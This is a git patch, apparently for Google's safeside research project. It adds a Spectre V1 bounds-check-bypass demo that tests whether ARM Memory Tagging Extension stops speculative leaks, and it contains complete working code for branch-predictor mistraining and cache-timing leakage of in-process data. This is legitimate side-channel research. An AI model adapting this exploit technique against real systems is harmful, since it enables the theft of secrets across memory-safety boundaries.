|
| 1 | +From b1f703913db28d4ca953959b39fb99f51760a6e6 Mon Sep 17 00:00:00 2001 |
| 2 | +From: Mark Brand <markbrand@google.com> |
| 3 | +Date: Thu, 3 Aug 2023 16:11:04 +0200 |
| 4 | +Subject: [PATCH] Add MTE spectre test. |
| 5 | + |
| 6 | +--- |
| 7 | + demos/CMakeLists.txt | 5 +- |
| 8 | + demos/spectre_v1_pht_sa_mte.cc | 163 +++++++++++++++++++++++++++++++++ |
| 9 | + 2 files changed, 167 insertions(+), 1 deletion(-) |
| 10 | + create mode 100644 demos/spectre_v1_pht_sa_mte.cc |
| 11 | + |
| 12 | +diff --git a/demos/CMakeLists.txt b/demos/CMakeLists.txt |
| 13 | +index ce3d67b..831f5ae 100644 |
| 14 | +--- a/demos/CMakeLists.txt |
| 15 | ++++ b/demos/CMakeLists.txt |
| 16 | +@@ -127,12 +127,15 @@ function(add_demo demo_name) |
| 17 | + endif() |
| 18 | + |
| 19 | + add_executable(${demo_name} ${demo_name}.cc ${ARG_ADDITIONAL_SOURCES}) |
| 20 | +- target_link_libraries(${demo_name} safeside) |
| 21 | ++ target_link_libraries(${demo_name} safeside -static) |
| 22 | + endfunction() |
| 23 | + |
| 24 | + # Spectre V1 PHT SA -- mistraining PHT in the same address space |
| 25 | + add_demo(spectre_v1_pht_sa) |
| 26 | + |
| 27 | ++# Spectre V1 PHT SA -- mistraining PHT in the same address space with MTE |
| 28 | ++add_demo(spectre_v1_pht_sa_mte) |
| 29 | ++ |
| 30 | + # Spectre V1 BTB SA -- mistraining BTB in the same address space |
| 31 | + add_demo(spectre_v1_btb_sa) |
| 32 | + |
| 33 | +diff --git a/demos/spectre_v1_pht_sa_mte.cc b/demos/spectre_v1_pht_sa_mte.cc |
| 34 | +new file mode 100644 |
| 35 | +index 0000000..68dd642 |
| 36 | +--- /dev/null |
| 37 | ++++ b/demos/spectre_v1_pht_sa_mte.cc |
| 38 | +@@ -0,0 +1,163 @@ |
| 39 | ++/* |
| 40 | ++ * Copyright 2023 Google LLC |
| 41 | ++ * |
| 42 | ++ * Licensed under both the 3-Clause BSD License and the GPLv2, found in the |
| 43 | ++ * LICENSE and LICENSE.GPL-2.0 files, respectively, in the root directory. |
| 44 | ++ * |
| 45 | ++ * SPDX-License-Identifier: BSD-3-Clause OR GPL-2.0 |
| 46 | ++ */ |
| 47 | ++ |
| 48 | ++// Causes misprediction of conditional branches that leads to a bounds check |
| 49 | ++// being bypassed during speculative execution. Leaks architecturally |
| 50 | ++// inaccessible data from the process's address space. |
| 51 | ++// |
| 52 | ++// PLATFORM NOTES: |
| 53 | ++// This program should leak data on pretty much any system where it compiles. |
| 54 | ++// We only require an out-of-order CPU that predicts conditional branches. |
| 55 | ++ |
| 56 | ++#include <array> |
| 57 | ++#include <cstring> |
| 58 | ++#include <iostream> |
| 59 | ++#include <memory> |
| 60 | ++ |
| 61 | ++#include "instr.h" |
| 62 | ++#include "local_content.h" |
| 63 | ++#include "timing_array.h" |
| 64 | ++#include "utils.h" |
| 65 | ++ |
| 66 | ++#include <cassert> |
| 67 | ++#include <fcntl.h> |
| 68 | ++#include <sys/mman.h> |
| 69 | ++#include <sys/prctl.h> |
| 70 | ++#include <unistd.h> |
| 71 | ++ |
| 72 | ++namespace mte { |
| 73 | ++void enable(bool sync=true, uint16_t tag_mask=0xfffe) { |
| 74 | ++ int ctrl = sync ? PR_MTE_TCF_SYNC : PR_MTE_TCF_ASYNC; |
| 75 | ++ ctrl |= tag_mask << PR_MTE_TAG_SHIFT; |
| 76 | ++ assert(0 == prctl(PR_SET_TAGGED_ADDR_CTRL, ctrl, 0, 0, 0)); |
| 77 | ++} |
| 78 | ++ |
| 79 | ++void disable() { |
| 80 | ++ assert(0 == prctl(PR_SET_TAGGED_ADDR_CTRL, PR_MTE_TCF_NONE, 0, 0, 0)); |
| 81 | ++} |
| 82 | ++ |
| 83 | ++template<typename T> |
| 84 | ++T* tagz(T* ptr, size_t len, uint8_t tag=0) { |
| 85 | ++ if (tag == 0) { |
| 86 | ++ asm volatile ("irg %0, %0\n" : "+r"(ptr)); |
| 87 | ++ } else { |
| 88 | ++ ptr = (T*)(((uintptr_t)ptr) | ((uintptr_t)tag) << 56); |
| 89 | ++ } |
| 90 | ++ T* end_ptr = ptr; |
| 91 | ++ for (size_t i = 0; i < len; i += 16) { |
| 92 | ++ asm volatile ("stzg %0, [%0], #16\n" : "+r"(end_ptr)); |
| 93 | ++ } |
| 94 | ++ return ptr; |
| 95 | ++} |
| 96 | ++ |
| 97 | ++uint8_t tag(void* ptr) { |
| 98 | ++ uintptr_t address; |
| 99 | ++ memcpy(&address, &ptr, sizeof(address)); |
| 100 | ++ return static_cast<uint8_t>(address >> 56); |
| 101 | ++} |
| 102 | ++} // namespace mte |
| 103 | ++ |
| 104 | ++char* tagged_public_data = nullptr; |
| 105 | ++char* tagged_private_data = nullptr; |
| 106 | ++ |
| 107 | ++// Leaks the byte that is physically located at &text[0] + offset, without ever |
| 108 | ++// loading it. In the abstract machine, and in the code executed by the CPU, |
| 109 | ++// this function does not load any memory except for what is in the bounds |
| 110 | ++// of `text`, and local auxiliary data. |
| 111 | ++// |
| 112 | ++// Instead, the leak is performed by accessing out-of-bounds during speculative |
| 113 | ++// execution, bypassing the bounds check by training the branch predictor to |
| 114 | ++// think that the value will be in-range. |
| 115 | ++static char LeakByte(const char *data, size_t offset) { |
| 116 | ++ TimingArray timing_array; |
| 117 | ++ // The size needs to be unloaded from cache to force speculative execution |
| 118 | ++ // to guess the result of comparison. |
| 119 | ++ // |
| 120 | ++ // TODO(asteinha): since size_in_heap is no longer the only heap-allocated |
| 121 | ++ // value, it should be allocated into its own unique page |
| 122 | ++ std::unique_ptr<size_t> size_in_heap = std::unique_ptr<size_t>( |
| 123 | ++ new size_t(strlen(data))); |
| 124 | ++ |
| 125 | ++ for (int run = 0;; ++run) { |
| 126 | ++ timing_array.FlushFromCache(); |
| 127 | ++ // We pick a different offset every time so that it's guaranteed that the |
| 128 | ++ // value of the in-bounds access is usually different from the secret value |
| 129 | ++ // we want to leak via out-of-bounds speculative access. |
| 130 | ++ int safe_offset = run % strlen(data); |
| 131 | ++ |
| 132 | ++ // Loop length must be high enough to beat branch predictors. |
| 133 | ++ // The current length 2048 was established empirically. With significantly |
| 134 | ++ // shorter loop lengths some branch predictors are able to observe the |
| 135 | ++ // pattern and avoid branch mispredictions. |
| 136 | ++ for (size_t i = 0; i < 2048; ++i) { |
| 137 | ++ // Remove from cache so that we block on loading it from memory, |
| 138 | ++ // triggering speculative execution. |
| 139 | ++ FlushDataCacheLine(size_in_heap.get()); |
| 140 | ++ |
| 141 | ++ // Train the branch predictor: perform in-bounds accesses 2047 times, |
| 142 | ++ // and then use the out-of-bounds offset we _actually_ care about on the |
| 143 | ++ // 2048th time. |
| 144 | ++ // The local_offset value computation is a branchless equivalent of: |
| 145 | ++ // size_t local_offset = ((i + 1) % 2048) ? safe_offset : offset; |
| 146 | ++ // We need to avoid branching even for unoptimized compilation (-O0). |
| 147 | ++ // Optimized compilations (-O1, concretely -fif-conversion) would remove |
| 148 | ++ // the branching automatically. |
| 149 | ++ size_t local_offset = |
| 150 | ++ offset + (safe_offset - offset) * static_cast<bool>((i + 1) % 2048); |
| 151 | ++ |
| 152 | ++ if (local_offset < *size_in_heap) { |
| 153 | ++ // This branch was trained to always be taken during speculative |
| 154 | ++ // execution, so it's taken even on the 2048th iteration, when the |
| 155 | ++ // condition is false! |
| 156 | ++ ForceRead(&timing_array[data[local_offset]]); |
| 157 | ++ } |
| 158 | ++ } |
| 159 | ++ |
| 160 | ++ int ret = timing_array.FindFirstCachedElementIndexAfter(data[safe_offset]); |
| 161 | ++ if (ret >= 0 && ret != data[safe_offset]) { |
| 162 | ++ return ret; |
| 163 | ++ } |
| 164 | ++ |
| 165 | ++ if (run > 100000) { |
| 166 | ++ std::cerr << "Does not converge" << std::endl; |
| 167 | ++ exit(EXIT_FAILURE); |
| 168 | ++ } |
| 169 | ++ } |
| 170 | ++} |
| 171 | ++ |
| 172 | ++int main() { |
| 173 | ++ mte::enable(false); |
| 174 | ++ |
| 175 | ++ tagged_public_data = (char*)mmap(nullptr, 0x1000, |
| 176 | ++ PROT_READ|PROT_WRITE|PROT_MTE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); |
| 177 | ++ |
| 178 | ++ tagged_private_data = (char*)mmap(nullptr, 0x1000, |
| 179 | ++ PROT_READ|PROT_WRITE|PROT_MTE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); |
| 180 | ++ |
| 181 | ++ const size_t private_offset = tagged_private_data - tagged_public_data; |
| 182 | ++ |
| 183 | ++ tagged_public_data = mte::tagz(tagged_public_data, 0x1000, 1); |
| 184 | ++ tagged_private_data = mte::tagz(tagged_private_data, 0x1000, 2); |
| 185 | ++ |
| 186 | ++ strcpy(tagged_public_data, public_data); |
| 187 | ++ strcpy(tagged_private_data, private_data); |
| 188 | ++ |
| 189 | ++ std::cout << "Leaking the string: "; |
| 190 | ++ std::cout.flush(); |
| 191 | ++ for (size_t i = 0; i < strlen(tagged_private_data); ++i) { |
| 192 | ++ // On at least some machines, this will print the i'th byte from |
| 193 | ++ // private_data, despite the only actually-executed memory accesses being |
| 194 | ++ // to valid bytes in public_data. |
| 195 | ++ std::cout << LeakByte(tagged_public_data, private_offset + i); |
| 196 | ++ std::cout.flush(); |
| 197 | ++ } |
| 198 | ++ std::cout << "\nDone!\n"; |
| 199 | ++ |
| 200 | ++ std::cout << "Checking that we would crash during architectural access:\n" << tagged_public_data[private_offset]; |
| 201 | ++} |
| 202 | +-- |
| 203 | +2.41.0.585.gd2178a4bd4-goog |
| 204 | + |
0 commit comments